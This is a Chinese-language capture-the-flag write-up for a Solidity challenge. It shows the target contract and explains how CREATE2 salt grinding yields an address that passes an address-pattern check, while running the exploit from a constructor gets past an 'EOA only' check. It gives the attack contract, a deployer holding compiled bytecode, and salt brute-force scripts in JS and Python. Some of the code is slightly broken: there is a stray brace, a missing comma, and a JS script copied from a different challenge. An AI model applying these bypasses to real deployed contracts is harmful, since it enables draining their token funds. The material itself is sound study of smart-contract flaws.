漏洞nc 1.15.39.10 10008

133 阅读5分钟

源码:

pragma solidity ^0.6.12;
contract betToken{
    mapping(address=>uint)public balance;

    constructor()public{
         balance[msg.sender] += 10000000 *10 **18;
     }

    function balanceOf(address account)public view returns(uint){
         return balance[account];
    }

    function transfer(address to,uint amount)external{
        _transfer(msg.sender,to,amount);
    }

    function _transfer(address from,address to,uint amount)internal{
        require(balance[from] >= amount,"amount exceed");
        require(to != address(0),"you cant burn my token");
        require(balance[to]+amount >= balance[to]);
        balance[from] -= amount;
        balance[to] += amount;
    }
}
contract betGame{
    //only my family can use the whole contract

    // i will check your appearance to check if you are my family
    betToken public token;

    bytes20 internal appearance = bytes20(bytes32("ZT"))>>144;
    bytes20 internal maskcode = bytes20(uint160(0xffff));

    mapping(address=>bool)public status;

    event SendFlag(address addr);

    constructor()public{
        token = new betToken();
    }

    modifier only_family{
        require(is_my_family(msg.sender),
        "no no no,my family only");
        _;
    }

    modifier only_EOA{
        uint x;
        assembly {
            x := extcodesize(caller())
            }
        require(x == 0,"Only EOA can do that");
        _;
    }

    function is_my_family(address account) internal returns (bool) {
        bytes20 you = bytes20(account);

        bytes20 code = maskcode;
        bytes20 feature = appearance;

        for (uint256 i = 0; i < 34; i++) {
            if (you & code == feature) {
                return true;
            }

            code <<= 4;
            feature <<= 4;
        }
        return false;
    }
    function share_my_vault()external only_EOA only_family{
        token.transfer(msg.sender,token.balanceOf(address(this)));
    }

     function payforflag() public{
        require(token.balance(msg.sender) >= 10000000 *10 **18, "Try again");
        emit SendFlag(msg.sender);
    }
}

分析:

这道题呢清晰易懂,就是考我们地址构造的问题。也就是create2!

CREATE2 操作码

这个操作码本质上是另一种部署智能合约的方法,只是在计算新的合约地址时不一样。它会用到:

  1. 部署地址
  2. 部署合约代码字节码的哈希
  3. 创建者提供的随机的salt (32 字节字符串).
keccak256(0xff ++ deployingAddr ++ salt ++ keccak256(bytecode))[12:]

过关需要我们的balance大于10000000 *10**18, 主要的难点在于满足 only_family。仔细观察is_my_family。

maskcode、appearance可以通过再写一个合约设为public就可以直接看见值。

image.png

每次for循环都会使code和feature的二进制值左移四位,等于在十六进制中左移一位,并且他们移位也是同步的,因此,我们明白只要调用地址(you)含有5a54就可以满足条件。

构造:

1.写出攻击合约

contract attack{
   betGame betgame=betGame(0xd9145CCE52D386f254917e481eB44e9943F39138);

   constructor() public{
     betgame.share_my_vault();
     betgame.payforflag();
   }
    
}

2.编译,取字节码

image.png

3.写构造地址合约

contract deploy{
    bytes contractBytecode = hex"608060405273d9145cce52d386f254917e481eb44e9943f391386000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801561006457600080fd5b5060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a3442ead6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156100cd57600080fd5b505af11580156100e1573d6000803e3d6000fd5b5050505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166380e10aa56040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561014d57600080fd5b505af1158015610161573d6000803e3d6000fd5b50505050603f806101736000396000f3fe6080604052600080fdfea2646970667358221220bfcb85a73a39f9957b30cdcc5b00a0fc63282eced0ef1f94f169ae3b283a2dea64736f6c634300060c0033"

     function deploy(bytes32 salt) public {
    bytes memory bytecode = contractBytecode;
    address addr;
      
    assembly {
      addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
    }
  }
    function getHash()public view returns(bytes32){
      return keccak256(contractBytecode);
  }
}
}

4.计算salt
网上查到两个脚本
这个是js的

const eth = require('ethereumjs-util')   
// 0xff ++ deployingAddress is fixed: 
var string1 =  '0xffca4dfd86a86c48c5d9c228bedbeb7f218a29c94b'   
// Hash of the bytecode is fixed. Calculated with eth.keccak256(): 
var string2 = '4670da3f633e838c2746ca61c370ba3dbd257b86b28b78449f4185480e2aba51'   
// In each loop, i is the value of the salt we are checking   
for (var i = 0; i < 72057594037927936; i++) {   
// 1. Convert i to hex, and it pad to 32 bytes: 
var saltToBytes = i.toString(16).padStart(64, '0') 
// 2. Concatenate this between the other 2 strings 
var concatString = string1.concat(saltToBytes).concat(string2)  
// 3. Hash the resulting string var hashed = eth.bufferToHex(eth.keccak256(concatString)) // 4. Remove leading 0x and 12 bytes 
// 5. Check if the result contains badc0de 
if (hashed.substr(26).includes('badc0de')) { 
console.log(saltToBytes) 
break 
} }

这个是python的

from web3 import Web3

s1 = '0xfff68777A4bB36a06BC5c03c6ddDb3Dd3f482Ba5a6'

s3 = '6fd122b1ed268149c197d543cdee1f6c93b9322d845ed7340fc47a60a6005563'

i = 0
while(1):
    salt = hex(i)[2:].rjust(64'0')
    s = s1+salt+s3
    hashed = Web3.sha3(hexstr=s)
    hashed_str = ''.join(['%02x' % b for b in hashed])
    if '5a54' in hashed_str[26:]:
        print(salt,hashed_str)
        break
    i += 1
    print(salt)

算出salt为0x000000000000000000000000000000000000000000000000000000000000116c
将部署的地址为0x50a20596c3b14cb4a41dbbb5a54d9813307a8943

将salt输入,攻击合约自动部署

image.png

查看余额,到手!!

image.png

flag拿到

image.png